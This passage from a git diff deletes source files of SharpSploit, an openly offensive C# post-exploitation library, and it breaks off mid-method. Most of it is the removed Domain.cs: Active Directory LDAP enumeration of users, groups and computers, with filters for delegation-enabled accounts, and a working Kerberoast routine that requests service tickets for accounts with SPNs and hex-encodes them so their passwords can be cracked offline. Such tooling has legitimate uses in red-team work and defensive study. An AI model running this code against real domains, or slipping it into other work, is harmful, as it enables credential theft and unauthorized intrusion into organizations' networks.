Win32Exception(Marshal.GetLastWin32Error()).Message); - } - - IntPtr hProcessToken; - if (!Win32.Kernel32.OpenProcessToken(hProcess, (UInt32)Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, out hProcessToken)) - { - throw new CreateUserProcessTokenException("OpenProcessToken() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - } - Win32.Kernel32.CloseHandle(hProcess); - - UInt32 dwLength = 0; - Win32.WinNT._TOKEN_STATISTICS tokenStatistics = new Win32.WinNT._TOKEN_STATISTICS(); - this.TokenType = tokenStatistics.TokenType; - if (!Win32.Advapi32.GetTokenInformation(hProcessToken, Win32.WinNT._TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength)) - { - if (!Win32.Advapi32.GetTokenInformation(hProcessToken, Win32.WinNT._TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength)) - { - throw new CreateUserProcessTokenException("GetTokenInformation() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - } - } - this.IsElevated = TokenIsElevated(hProcessToken); - Win32.Kernel32.CloseHandle(hProcessToken); - - this.Username = ConvertTokenStatisticsToUsername(tokenStatistics); - if (this.Username == null || this.Username == "") - { - throw new CreateUserProcessTokenException("No Username Error"); - } - } - - private static string ConvertTokenStatisticsToUsername(Win32.WinNT._TOKEN_STATISTICS tokenStatistics) - { - IntPtr lpLuid = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(Win32.WinNT._LUID))); - Marshal.StructureToPtr(tokenStatistics.AuthenticationId, lpLuid, false); - if (lpLuid == IntPtr.Zero) - { - Console.Error.WriteLine("PtrToStructure() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - return ""; - } - - IntPtr ppLogonSessionData = new IntPtr(); - if (Win32.Secur32.LsaGetLogonSessionData(lpLuid, out ppLogonSessionData) != 0) - { - Console.Error.WriteLine("LsaGetLogonSessionData() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - return ""; - } - if (ppLogonSessionData == IntPtr.Zero) - { - Console.Error.WriteLine("LsaGetLogonSessionData() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - return ""; - } - - Win32.Secur32._SECURITY_LOGON_SESSION_DATA securityLogonSessionData = (Win32.Secur32._SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(ppLogonSessionData, typeof(Win32.Secur32._SECURITY_LOGON_SESSION_DATA)); - if (securityLogonSessionData.pSid == IntPtr.Zero || securityLogonSessionData.Username.Buffer == IntPtr.Zero || securityLogonSessionData.LoginDomain.Buffer == IntPtr.Zero) - { - Console.Error.WriteLine("PtrToStructure() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - return ""; - } - - if (Marshal.PtrToStringUni(securityLogonSessionData.Username.Buffer) == Environment.MachineName + "$") - { - string Username = ConvertSidToName(securityLogonSessionData.pSid); - if (Username == null || Username == "") - { - Console.Error.WriteLine("No Username Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - return ""; - } - return Username; - } - - return Marshal.PtrToStringUni(securityLogonSessionData.LoginDomain.Buffer) + "\\" + Marshal.PtrToStringUni(securityLogonSessionData.Username.Buffer); - } - - - public static string ConvertSidToName(IntPtr pSid) - { - StringBuilder lpName = new StringBuilder(); - UInt32 cchName = (UInt32)lpName.Capacity; - StringBuilder lpReferencedDomainName = new StringBuilder(); - UInt32 cchReferencedDomainName = (UInt32)lpReferencedDomainName.Capacity; - Win32.WinNT._SID_NAME_USE sidNameUser; - Win32.Advapi32.LookupAccountSid(String.Empty, pSid, lpName, ref cchName, lpReferencedDomainName, ref cchReferencedDomainName, out sidNameUser); - - lpName.EnsureCapacity((Int32)cchName); - lpReferencedDomainName.EnsureCapacity((Int32)cchReferencedDomainName); - if (Win32.Advapi32.LookupAccountSid(String.Empty, pSid, lpName, ref cchName, lpReferencedDomainName, ref cchReferencedDomainName, out sidNameUser)) - { - return ""; - } - if (String.IsNullOrEmpty(lpName.ToString()) || String.IsNullOrEmpty(lpReferencedDomainName.ToString())) - { - return ""; - } - return lpReferencedDomainName.ToString() + "\\" + lpName.ToString(); - } - } - } -} diff --git a/Source/SharpSploit/Enumeration/Domain.cs b/Source/SharpSploit/Enumeration/Domain.cs deleted file mode 100644 index f62b4d9..0000000 --- a/Source/SharpSploit/Enumeration/Domain.cs +++ /dev/null @@ -1,1495 +0,0 @@ -// Author: Ryan Cobb (@cobbr_io) -// Project: SharpSploit (https://github.com/cobbr/SharpSploit) -// License: BSD 3-Clause - -using System; -using System.Linq; -using System.DirectoryServices; -using System.IdentityModel.Tokens; -using System.Security.Principal; -using System.Security.AccessControl; -using System.Runtime.InteropServices; - -using System.Text.RegularExpressions; -using System.Collections.Generic; - -using SharpSploit.Execution; - -namespace SharpSploit.Enumeration -{ - /// - /// Domain is a library for domain enumeration that can be used to search for and query for information from - /// DomainObjects such as users, groups, and computers. - /// - /// - /// Domain is adapted from Will Schroeder's (@harmj0y) PowerView (Found - /// at https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1) - /// - public static class Domain - { - /// - /// DomainSearcher is a LDAP searcher class for domain enumeration. - /// - /// - /// DomainSearcher is adapted from Will Schroeder's (@harmj0y) PowerView. (Found - /// at https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1) - /// - public class DomainSearcher - { - public Credential Credentials { get; set; } = null; - private string Domain { get; set; } - private string Server { get; set; } - private DirectorySearcher DirectorySearcher { get; set; } - - /// - /// Constructor for the DomainSearcher class. - /// - /// Optional alternative Credentials to authenticate to the Domain. - /// Optional alternative Domain to authenticate to and search. - /// Optional alternative Server within the Domain to authenticate to and search. - /// Optional SearchBase to prepend to all LDAP searches. - /// Optional SearchString to append to SearchBase for all LDAP searches. - /// Optional SearchScope for the underlying DirectorySearcher object. - /// Optional ResultPageSize for the underlying DirectorySearcher object. - /// Optional max time limit for the server per search. - /// Optionally retrieve deleted/tombstoned DomainObjects - /// Optional SecurityMasks for the underlying DirectorySearcher object. - public DomainSearcher(Credential Credentials = null, string Domain = "", string Server = "", string SearchBase = "", string SearchString = "", SearchScope SearchScope = SearchScope.Subtree, - int ResultPageSize = 200, TimeSpan ServerTimeLimit = default(TimeSpan), bool TombStone = false, SecurityMasks SecurityMasks = SecurityMasks.None) - { - this.Credentials = Credentials; - if (this.Credentials == null) - { - this.Credentials = Credential.EmptyCredential; - } - this.Domain = Domain; - if (this.Domain == "") - { - this.Domain = Environment.UserDomainName; - } - this.Server = Server; - if (this.Server == "") - { - string logonserver = Environment.GetEnvironmentVariable("logonserver"); - this.Server = logonserver.Replace("\\", "") + this.Domain; - } - if (SearchBase == "") - { - SearchBase = "LDAP://" + this.GetBaseDN(); - } - DirectorySearcher searcher = null; - if (this.Credentials != null && this.Credentials != Credential.EmptyCredential) - { - DirectoryEntry searchRoot = new DirectoryEntry(SearchBase + SearchString, Credentials.UserName, Credentials.Password); - searcher = new DirectorySearcher(searchRoot); - } - else - { - searcher = new DirectorySearcher(SearchBase + SearchString); - } - - searcher.SearchScope = SearchScope; - searcher.PageSize = ResultPageSize; - searcher.CacheResults = false; - searcher.ReferralChasing = ReferralChasingOption.All; - if (ServerTimeLimit != default(TimeSpan)) - { - searcher.ServerTimeLimit = ServerTimeLimit; - } - searcher.Tombstone = TombStone; - searcher.SecurityMasks = SecurityMasks; - this.DirectorySearcher = searcher; - } - - /// - /// Gets a specified user `DomainObject` in the current Domain. - /// - /// Username to search for. - /// Optional LDAP filter to apply to the search. - /// Optional list of properties to retrieve from the DomainObject. - /// If not specified, all properties are included. - /// Optional filter to parse the userAccountControl DomainObject property. - /// Optionally filter for only a DomainObject with an SPN set. - /// Optionally filter for only a DomainObject that allows for delegation. - /// Optionally filter for only a DomainObject that does not allow for delegation. - /// Optionally filter for only a DomainObject with the AdminCount property set. - /// Optionally filter for only a DomainObject that is trusted to authenticate for other DomainObjects - /// Optionally filter for only a DomainObject does not require Kerberos preauthentication. - /// Matching user DomainObject - public DomainObject GetDomainUser(string Identity, string LDAPFilter = "", IEnumerable Properties = null, IEnumerable UACFilter = null, bool SPN = false, bool AllowDelegation = false, bool DisallowDelegation = false, bool AdminCount = false, bool TrustedToAuth = false, bool PreauthNotRequired = false) - { - return this.GetDomainUsers(new List { Identity }, LDAPFilter, Properties, UACFilter, SPN, AllowDelegation, DisallowDelegation, AdminCount, TrustedToAuth, PreauthNotRequired, true).FirstOrDefault(); - } - - /// - /// Gets a list of specified (or all) user `DomainObject`s in the current Domain. - /// - /// Optional list of usernames to search for. - /// Optional LDAP filter to apply to the search. - /// Optional list of properties to retrieve from the DomainObject. - /// If not specified, all properties are included. - /// Optional filter to parse the userAccountControl DomainObject property. - /// Optionally filter for only a DomainObject with an SPN set. - /// Optionally filter for only a DomainObject that allows for delegation. - /// Optionally filter for only a DomainObject that does not allow for delegation. - /// Optionally filter for only a DomainObject with the AdminCount property set. - /// Optionally filter for only a DomainObject that is trusted to authenticate for other DomainObjects - /// Optionally filter for only a DomainObject does not require Kerberos preauthentication. - /// Optionally find only the first matching DomainObject. - /// List of matching user DomainObjects - public List GetDomainUsers(IEnumerable Identities = null, string LDAPFilter = "", IEnumerable Properties = null, IEnumerable UACFilter = null, bool SPN = false, bool AllowDelegation = false, bool DisallowDelegation = false, bool AdminCount = false, bool TrustedToAuth = false, bool PreauthNotRequired = false, bool FindOne = false) - { - string Filter = ""; - string IdentityFilter = ConvertIdentitiesToFilter(Identities); - if (IdentityFilter != null && IdentityFilter.Trim() != "") - { - Filter += "(|" + IdentityFilter + ")"; - } - if (SPN) - { - Filter += "(servicePrincipalName=*)"; - } - if (AllowDelegation) - { - Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))"; - } - if (DisallowDelegation) - { - Filter += "(userAccountControl:1.2.840.113556.1.4.803:=1048574)"; - } - if (AdminCount) - { - Filter += "(admincount=1)"; - } - if (TrustedToAuth) - { - Filter += "(msds-allowedtodelegateto=*)"; - } - if (PreauthNotRequired) - { - Filter += "(userAccountControl:1.2.840.113556.1.4.803:=4194304)"; - } - if (UACFilter != null) - { - foreach (UACEnum uac in UACFilter) - { - Filter += "(userAccountControl:1.2.840.113556.1.4.803:=" + ((int)uac) + ")"; - } - } - - Filter += LDAPFilter; - this.DirectorySearcher.Filter = "(&(samAccountType=805306368)" + Filter + ")"; - - if (Properties != null) - { - this.DirectorySearcher.PropertiesToLoad.Clear(); - this.DirectorySearcher.PropertiesToLoad.AddRange(Properties.ToArray()); - } - List results = new List(); - try - { - if (FindOne) - { - results.Add(this.DirectorySearcher.FindOne()); - } - else - { - var collection = this.DirectorySearcher.FindAll(); - foreach (SearchResult result in collection) - { - results.Add(result); - } - } - } - catch (Exception e) - { - Console.Error.WriteLine("Exception: Can't construct Domain Searcher: " + e.Message + e.StackTrace); - } - return ConvertSearchResultsToDomainObjects(results); - } - - /// - /// Gets a specified group `DomainObject` in the current Domain. - /// - /// Group name to search for. - /// Optional LDAP filter to apply to the search. - /// Optional list of properties to retrieve from the DomainObject. - /// If not specified, all properties are included. - /// Optionally filter for only a DomainObject with the AdminCount property set. - /// Optionally filter for a GroupScope (DomainLocal, Global, Universal, etc). - /// Optionally filter for a GroupProperty (Security, Distribution, CreatedBySystem, - /// NotCreatedBySystem,etc) - /// Matching group DomainObject - public DomainObject GetDomainGroup(string Identity, string LDAPFilter = "", IEnumerable Properties = null, bool AdminCount = false, string GroupScope = "", string GroupProperty = "") - { - return this.GetDomainGroups(new List { Identity }, LDAPFilter, Properties, AdminCount, GroupScope, GroupProperty, true).FirstOrDefault(); - } - - /// - /// Gets a list of specified (or all) group `DomainObject`s in the current Domain. - /// - /// Optional list of group names to search for. - /// Optional LDAP filter to apply to the search. - /// Optional list of properties to retrieve from the DomainObject. - /// If not specified, all properties are included. - /// Optionally filter for only a DomainObject with the AdminCount property set. - /// Optionally filter for a GroupScope (DomainLocal, Global, Universal, etc). - /// Optionally filter for a GroupProperty (Security, Distribution, CreatedBySystem, - /// NotCreatedBySystem,etc). - /// Optionally find only the first matching DomainObject. - /// List of matching group DomainObjects - public List GetDomainGroups(IEnumerable Identities = null, string LDAPFilter = "", IEnumerable Properties = null, bool AdminCount = false, string GroupScope = "", string GroupProperty = "", bool FindOne = false) - { - string Filter = ""; - string IdentityFilter = ConvertIdentitiesToFilter(Identities); - if (IdentityFilter != null && IdentityFilter.Trim() != "") - { - Filter += "(|" + IdentityFilter + ")"; - } - if (AdminCount) - { - Filter += "(admincount=1)"; - } - if (GroupScope == "DomainLocal") - { - Filter += "(groupType:1.2.840.113556.1.4.803:=4)"; - } - else if (GroupScope == "NotDomainLocal") - { - Filter += "(!(groupType:1.2.840.113556.1.4.803:=4))"; - } - else if (GroupScope == "Global") - { - Filter += "(groupType:1.2.840.113556.1.4.803:=2)"; - } - else if (GroupScope == "NotGlobal") - { - Filter += "(!(groupType:1.2.840.113556.1.4.803:=2))"; - } - else if (GroupScope == "Universal") - { - Filter += "(groupType:1.2.840.113556.1.4.803:=8)"; - } - else if (GroupScope == "NotUniversal") - { - Filter += "(!(groupType:1.2.840.113556.1.4.803:=8))"; - } - - if (GroupProperty == "Security") - { - Filter += "(groupType:1.2.840.113556.1.4.803:=2147483648)"; - } - else if (GroupProperty == "Distribution") - { - Filter += "(!(groupType:1.2.840.113556.1.4.803:=2147483648))"; - } - else if (GroupProperty == "CreatedBySystem") - { - Filter += "(groupType:1.2.840.113556.1.4.803:=1)"; - } - else if (GroupProperty == "NotCreatedBySystem") - { - Filter += "(!(groupType:1.2.840.113556.1.4.803:=1))"; - } - - Filter += LDAPFilter; - this.DirectorySearcher.Filter = "(&(objectCategory=group)" + Filter + ")"; - - if (Properties != null) - { - this.DirectorySearcher.PropertiesToLoad.Clear(); - this.DirectorySearcher.PropertiesToLoad.AddRange(Properties.ToArray()); - } - List results = new List(); - try - { - if (FindOne) - { - results.Add(this.DirectorySearcher.FindOne()); - } - else - { - var collection = this.DirectorySearcher.FindAll(); - foreach (SearchResult result in collection) - { - results.Add(result); - } - } - } - catch (Exception e) - { - Console.Error.WriteLine("Exception: Can't construct Domain Searcher: " + e.Message + e.StackTrace); - } - return ConvertSearchResultsToDomainObjects(results); - } - - /// - /// Gets a specified computer `DomainObject` in the current Domain. - /// - /// ComputerName to search for - /// Optional LDAP filter to apply to the search. - /// Optional list of properties to retrieve from the DomainObject. - /// If not specified, all properties are included. - /// Optional filter to parse the userAccountControl DomainObject property. - /// Optionally filter for only a DomainObject that has unconstrained delegation. - /// Optionally filter for only a DomainObject that is trusted to authenticate for other DomainObjects - /// Optionally return only a DomainObject that is a printer. - /// Optionally filter for only a DomainObject with an SPN set. - /// Optionally filter for only a DomainObject with a specific Operating System, wildcards accepted. - /// Optionally filter for only a DomainObject with a specific service pack, wildcards accepted. - /// Optionally filter for only a DomainObject in a specific Domain SiteName, wildcards accepted. - /// Optional switch, ping the computer to ensure it's up before enumerating. - /// Matching computer DomainObject - public DomainObject GetDomainComputer(string Identity, string LDAPFilter = "", IEnumerable Properties = null, IEnumerable UACFilter = null, bool Unconstrained = false, bool TrustedToAuth = false, bool Printers = false, string SPN = "", string OperatingSystem = "", string ServicePack = "", string SiteName = "", bool Ping = false) - { - return this.GetDomainComputers(new List { Identity }, LDAPFilter, Properties, UACFilter, Unconstrained, TrustedToAuth, Printers, SPN, OperatingSystem, ServicePack, SiteName, Ping, true).FirstOrDefault(); - } - - /// - /// Gets a list of specified (or all) computer `DomainObject`s in the current Domain. - /// - /// Optional list of ComputerNames to search for. - /// Optional LDAP filter to apply to the search. - /// Optional list of properties to retrieve from the DomainObject. - /// If not specified, all properties are included. - /// Optional filter to parse the userAccountControl DomainObject property. - /// Optionally filter for only a DomainObject that has unconstrained delegation. - /// Optionally filter for only a DomainObject that is trusted to authenticate for other DomainObjects - /// Optionally return only a DomainObject that is a printer. - /// Optionally filter for only a DomainObject with an SPN set. - /// Optionally filter for only a DomainObject with a specific Operating System, wildcards accepted. - /// Optionally filter for only a DomainObject with a specific service pack, wildcards accepted. - /// Optionally filter for only a DomainObject in a specific Domain SiteName, wildcards accepted. - /// Optional switch, ping the computer to ensure it's up before enumerating. - /// Optionally find only the first matching DomainObject. - /// List of matching computer DomainObjects - public List GetDomainComputers(IEnumerable Identities = null, string LDAPFilter = "", IEnumerable Properties = null, IEnumerable UACFilter = null, bool Unconstrained = false, bool TrustedToAuth = false, bool Printers = false, string SPN = "", string OperatingSystem = "", string ServicePack = "", string SiteName = "", bool Ping = false, bool FindOne = false) - { - string Filter = ""; - string IdentityFilter = ConvertIdentitiesToFilter(Identities, DomainObjectType.Computer); - if (IdentityFilter != null && IdentityFilter.Trim() != "") - { - Filter += "(|" + IdentityFilter + ")"; - } - - if (Unconstrained) - { - Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)"; - } - if (TrustedToAuth) - { - Filter += "(msds-allowedtodelegateto=*)"; - } - if (Printers) - { - Filter += "(objectCategory=printQueue)"; - } - if (SPN != "") - { - Filter += "(servicePrincipalName=" + SPN + ")"; - } - if (OperatingSystem != "") - { - Filter += "(operatingsystem=" + OperatingSystem + ")"; - } - if (ServicePack != "") - { - Filter += "(operatingsystemservicepack=" + ServicePack + ")"; - } - if (SiteName != "") - { - Filter += "(serverreferencebl=" + SiteName + ")"; - } - - Filter += LDAPFilter; - if (UACFilter != null) - { - foreach (UACEnum uac in UACFilter) - { - Filter += "(userAccountControl:1.2.840.113556.1.4.803:=" + ((int)uac) + ")"; - } - } - - this.DirectorySearcher.Filter = "(&(samAccountType=805306369)" + Filter + ")"; - - List results = new List(); - try - { - if (FindOne) - { - results.Add(this.DirectorySearcher.FindOne()); - } - else - { - var collection = this.DirectorySearcher.FindAll(); - foreach (SearchResult result in collection) - { - results.Add(result); - } - } - } - catch (Exception e) - { - Console.Error.WriteLine("Exception: Can't construct Domain Searcher: " + e.Message + e.StackTrace); - } - return ConvertSearchResultsToDomainObjects(results); - } - - /// - /// Gets `SPNTicket`s for specified `DomainObject`s. - /// - /// List of DomainObjects with an SPN set. - /// List of SPNTickets for the specified DomainObjects - public static List GetDomainSPNTickets(IEnumerable DomainObjects) - { - List tickets = new List(); - foreach (DomainObject ldap in DomainObjects) - { - tickets.Add(GetDomainSPNTicket(ldap)); - } - return tickets; - } - - /// - /// Get `SPNTicket` for specified `DomainObject`. - /// - /// DomainObject with an SPN set. - /// SPNTicker for the specified DomainObject - public static SPNTicket GetDomainSPNTicket(DomainObject DomainObject) - { - var ticket = new KerberosRequestorSecurityToken(DomainObject.serviceprincipalname); - if (ticket == null) { return null; } - var ticketByteStream = ticket.GetRequest(); - if (ticketByteStream == null) { return null; } - var tickethexstream = BitConverter.ToString(ticketByteStream).Replace("-", ""); - - return new SPNTicket(DomainObject.serviceprincipalname, DomainObject.samaccountname, Environment.UserDomainName, tickethexstream); - } - - /// - /// Gets a list of `SPNTicket`s for specified (or all) users with a SPN set in the current Domain. - /// - /// Username to Kerberoast of a user with an SPN set. - /// Optional LDAP filter when searching for users with an SPN set. - /// Optional filter to parse the userAccountControl DomainObject property. - /// If true, will only find a single SPNTicket for the first user found with an SPN set. - /// List of SPNTickets - public List Kerberoast(IEnumerable Identities = null, string LDAPFilter = "", IEnumerable UACFilter = null, bool FindOne = false) - { - return GetDomainSPNTickets(this.GetDomainUsers(Identities, LDAPFilter, null, null, true, false, false, false, false, false, FindOne).Where(U => U.samaccountname != "krbtgt").ToList()); - } - - /// - /// Gets a list of `SPNTicket`s for specified (or all) users with a SPN set in the current Domain. - /// - /// Optional list of users to Kerberoast. If null, all users with an SPN set will be used. - /// Optional LDAP filter when searching for users with an SPN set. - /// Optional filter to parse the userAccountControl DomainObject property. - /// List of SPNTickets - public SPNTicket Kerberoast(string Identity, string LDAPFilter = "", IEnumerable UACFilter = null) - { - return GetDomainSPNTicket(this.GetDomainUser(Identity, LDAPFilter, null, null, true, false, false, false, false, false)); - } - - private string GetBaseDN() - { - return "DC=" + this.Domain.Replace(".", ",DC="); - } - - private static List ConvertSearchResultsToDomainObjects(IEnumerable Results) - { - List ldaps = new List(); - foreach (SearchResult result in Results) - { - ldaps.Add(ConvertLDAPProperty(result)); - } - return ldaps; - } - - private static DomainObject ConvertLDAPProperty(SearchResult Result) - { - DomainObject ldap = new DomainObject(); - foreach (string PropertyName in Result.Properties.PropertyNames) - { - if (Result.Properties[PropertyName].Count == 0) { continue; } - if (PropertyName == "objectsid") - { - ldap.objectsid = new SecurityIdentifier((byte[])Result.Properties["objectsid"][0], 0).Value; - } - else if (PropertyName == "sidhistory") - { - List historyListTemp = new List(); - foreach (byte[] bytes in Result.Properties["sidhistory"]) - { - historyListTemp.Add(new SecurityIdentifier(bytes, 0).Value); - } - ldap.sidhistory = historyListTemp.ToArray(); - } - else if (PropertyName == "grouptype") - { - try { ldap.grouptype = (GroupTypeEnum)Enum.Parse(typeof(GroupTypeEnum), Result.Properties["grouptype"][0].ToString()); } - catch (Exception) { } - } - else if (PropertyName == "samaccounttype") - { - try { ldap.samaccounttype = (SamAccountTypeEnum)Enum.Parse(typeof(SamAccountTypeEnum), Result.Properties["samaccounttype"][0].ToString()); } - catch (Exception) { } - } - else if (PropertyName == "objectguid") - { - ldap.objectguid = new Guid((byte[])Result.Properties["objectguid"][0]).ToString(); - } - else if (PropertyName == "useraccountcontrol") - { - try { ldap.useraccountcontrol = (UACEnum)Enum.Parse(typeof(UACEnum), Result.Properties["useraccountcontrol"][0].ToString()); } - catch (Exception) { } - } - else if (PropertyName == "ntsecuritydescriptor") - { - var desc = new RawSecurityDescriptor((byte[])Result.Properties["ntsecuritydescriptor"][0], 0); - ldap.Owner = desc.Owner; - ldap.Group = desc.Group; - ldap.DiscretionaryAcl = desc.DiscretionaryAcl; - ldap.SystemAcl = desc.SystemAcl; - } - else if (PropertyName == "accountexpires") - { - if ((long)Result.Properties["accountexpires"][0] >= DateTime.MaxValue.Ticks) - { - ldap.accountexpires = DateTime.MaxValue; - } - try - { - ldap.accountexpires = DateTime.FromFileTime((long)Result.Properties["accountexpires"][0]); - } - catch (ArgumentOutOfRangeException) - { - ldap.accountexpires = DateTime.MaxValue; - } - } - else if (PropertyName == "lastlogon" || PropertyName == "lastlogontimestamp" || PropertyName == "pwdlastset" || - PropertyName == "lastlogoff" || PropertyName == "badPasswordTime") - { - DateTime dateTime = DateTime.MinValue; - if (Result.Properties[PropertyName][0].GetType().Name == "System.MarshalByRefObject") - { - var comobj = (MarshalByRefObject)Result.Properties[PropertyName][0]; - int high = (int)comobj.GetType().InvokeMember("HighPart", System.Reflection.BindingFlags.GetProperty, null, comobj, null); - int low = (int)comobj.GetType().InvokeMember("LowPart", System.Reflection.BindingFlags.GetProperty, null, comobj, null); - dateTime = DateTime.FromFileTime(int.Parse("0x" + high + "" + low, System.Globalization.NumberStyles.HexNumber)); - } - else - { - dateTime = DateTime.FromFileTime((long)Result.Properties[PropertyName][0]); - } - if (PropertyName == "lastlogon") { ldap.lastlogon = dateTime; } - else if (PropertyName == "lastlogontimestamp") { ldap.lastlogontimestamp = dateTime; } - else if (PropertyName == "pwdlastset") { ldap.pwdlastset = dateTime; } - else if (PropertyName == "lastlogoff") { ldap.lastlogoff = dateTime; } - else if (PropertyName == "badPasswordTime") { ldap.badpasswordtime = dateTime; } - } - else - { - string property = "0"; - if (Result.Properties[PropertyName][0].GetType().Name == "System.MarshalByRefObject") - { - var comobj = (MarshalByRefObject)Result.Properties[PropertyName][0]; - int high = (int)comobj.GetType().InvokeMember("HighPart", System.Reflection.BindingFlags.GetProperty, null, comobj, null); - int low = (int)comobj.GetType().InvokeMember("LowPart", System.Reflection.BindingFlags.GetProperty, null, comobj, null); - property = int.Parse("0x" + high + "" + low, System.Globalization.NumberStyles.HexNumber).ToString(); - } - else if (Result.Properties[PropertyName].Count == 1) - { - property = Result.Properties[PropertyName][0].ToString(); - } - else - { - List propertyList = new List(); - foreach (object prop in Result.Properties[PropertyName]) - { - propertyList.Add(prop.ToString()); - } - property = String.Join(", ", propertyList.ToArray()); - } - if (PropertyName == "samaccountname") { ldap.samaccountname = property; } - else if (PropertyName == "distinguishedname") { ldap.distinguishedname = property; } - else if (PropertyName == "cn") { ldap.cn = property; } - else if (PropertyName == "admincount") { ldap.admincount = property; } - else if (PropertyName == "serviceprincipalname") { ldap.serviceprincipalname = property; } - else if (PropertyName == "name") { ldap.name = property; } - else if (PropertyName == "description") { ldap.description = property; } - else if (PropertyName == "memberof") { ldap.memberof = property; } - else if (PropertyName == "logoncount") { ldap.logoncount = property; } - else if (PropertyName == "badpwdcount") { ldap.badpwdcount = property; } - else if (PropertyName == "whencreated") { ldap.whencreated = property; } - else if (PropertyName == "whenchanged") { ldap.whenchanged = property; } - else if (PropertyName == "codepage") { ldap.codepage = property; } - else if (PropertyName == "objectcategory") { ldap.objectcategory = property; } - else if (PropertyName == "usnchanged") { ldap.usnchanged = property; } - else if (PropertyName == "instancetype") { ldap.instancetype = property; } - else if (PropertyName == "objectclass") { ldap.objectclass = property; } - else if (PropertyName == "iscriticalsystemobject") { ldap.iscriticalsystemobject = property; } - else if (PropertyName == "usncreated") { ldap.usncreated = property; } - else if (PropertyName == "dscorepropagationdata") { ldap.dscorepropagationdata = property; } - else if (PropertyName == "adspath") { ldap.adspath = property; } - else if (PropertyName == "countrycode") { ldap.countrycode = property; } - else if (PropertyName == "primarygroupid") { ldap.primarygroupid = property; } - else if (PropertyName == "msds_supportedencryptiontypes") { ldap.msds_supportedencryptiontypes = property; } - else if (PropertyName == "showinadvancedviewonly") { ldap.showinadvancedviewonly = property; } - } - } - return ldap; - } - - private static string ConvertIdentitiesToFilter(IEnumerable Identities, DomainObjectType ObjectType = DomainObjectType.User) - { - if (Identities == null) { return ""; } - string IdentityFilter = ""; - foreach (string Identity in Identities) - { - if (Identity == null || Identity == "") { continue; } - string IdentityInstance = Identity.Replace("(", "\\28").Replace(")", "\\29"); - if (Regex.IsMatch(IdentityInstance, "^S-1-")) - { - IdentityFilter += "(objectsid=" + IdentityInstance + ")"; - } - else if (Regex.IsMatch(IdentityInstance, "^CN=")) - { - IdentityFilter += "(distinguishedname=" + IdentityInstance + ")"; - } - else if (ObjectType == DomainObjectType.Computer && IdentityInstance.Contains(".")) - { - IdentityFilter += "(|(name=" + IdentityInstance + ")(dnshostname=" + IdentityInstance + "))"; - } - else if (Regex.IsMatch(IdentityInstance, "^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$")) - { - byte[] bytes = new Guid(IdentityInstance).ToByteArray(); - string GuidByteString = ""; - foreach (Byte b in bytes) - { - GuidByteString += "\\" + b.ToString("X2"); - } - IdentityFilter += "(objectguid=" + GuidByteString + ")"; - } - else if (ObjectType == DomainObjectType.User || ObjectType == DomainObjectType.Group) - { - if (IdentityInstance.Contains("\\")) - { - string ConvertedIdentityInstance = ConvertADName(IdentityInstance.Replace("\\28", "(").Replace("\\29", ")")); - if (ConvertedIdentityInstance != null && ConvertedIdentityInstance != "") - { - string UserDomain = ConvertedIdentityInstance.Substring(0, ConvertedIdentityInstance.IndexOf("/")); - string UserName = ConvertedIdentityInstance.Substring(0, ConvertedIdentityInstance.IndexOf("/")); - IdentityFilter += "(samAccountName=" + UserName + ")"; - } - } - else if (ObjectType == DomainObjectType.User) - { - IdentityFilter += "(samAccountName=" + IdentityInstance + ")"; - } - else if (ObjectType == DomainObjectType.Group) - { - IdentityFilter += "(|(samAccountName=" + IdentityInstance + ")(name=" + IdentityInstance + "))"; - } - } - else if (ObjectType == DomainObjectType.Computer) - { - IdentityFilter += "(name=" + IdentityInstance + ")"; - } - } - return IdentityFilter; - } - - private static string ConvertADName(string Identity, NameType type = NameType.Canonical) - { - Win32.ActiveDs.Init(3, null); - Win32.ActiveDs.put_ChaseReferral(0x60); - Win32.ActiveDs.Set(8, Identity); - string adname = ""; - Win32.ActiveDs.Get((int)type, ref adname); - return adname; - } - } - - /// - /// Credential to authenticate to the Domain with a DomainSearcher object. - /// - public class Credential - { - public string UserName { get; set; } - public string Password { get; set; } - public Credential(string UserName, string Password) - { - this.UserName = UserName; - this.Password = Password; - } - - public static Credential EmptyCredential = new Credential("", ""); - } - - public enum DomainObjectType - { - User, - Group, - Computer - } - - /// - /// Generic DomainObject class for LDAP entries in Active Directory. - /// - public class DomainObject - { - public string samaccountname { get; set; } - public SamAccountTypeEnum samaccounttype { get; set; } - public string distinguishedname { get; set; } - public string cn { get; set; } - public string objectsid { get; set; } - public string[] sidhistory { get; set; } - public GroupTypeEnum grouptype { get; set; } - public SecurityIdentifier Owner { get; set; } - public SecurityIdentifier Group { get; set; } - public RawAcl DiscretionaryAcl { get; set; } - public RawAcl SystemAcl { get; set; } - - public string admincount { get; set; } - public string serviceprincipalname { get; set; } - public string name { get; set; } - public string description { get; set; } - public string memberof { get; set; } - public string logoncount { get; set; } - public UACEnum useraccountcontrol { get; set; } - - public string badpwdcount { get; set; } - public DateTime badpasswordtime { get; set; } - public DateTime pwdlastset { get; set; } - public string whencreated { get; set; } - public string whenchanged { get; set; } - public DateTime accountexpires { get; set; } - - public DateTime lastlogon { get; set; } - public DateTime lastlogoff { get; set; } - - public string codepage { get; set; } - public string objectcategory { get; set; } - public string usnchanged { get; set; } - public string instancetype { get; set; } - public string objectclass { get; set; } - public string iscriticalsystemobject { get; set; } - public string usncreated { get; set; } - public string dscorepropagationdata { get; set; } - public string adspath { get; set; } - public string countrycode { get; set; } - public string primarygroupid { get; set; } - public string objectguid { get; set; } - public DateTime lastlogontimestamp { get; set; } - public string msds_supportedencryptiontypes { get; set; } - public string showinadvancedviewonly { get; set; } - - public override string ToString() - { - string output = ""; - if (this.samaccountname 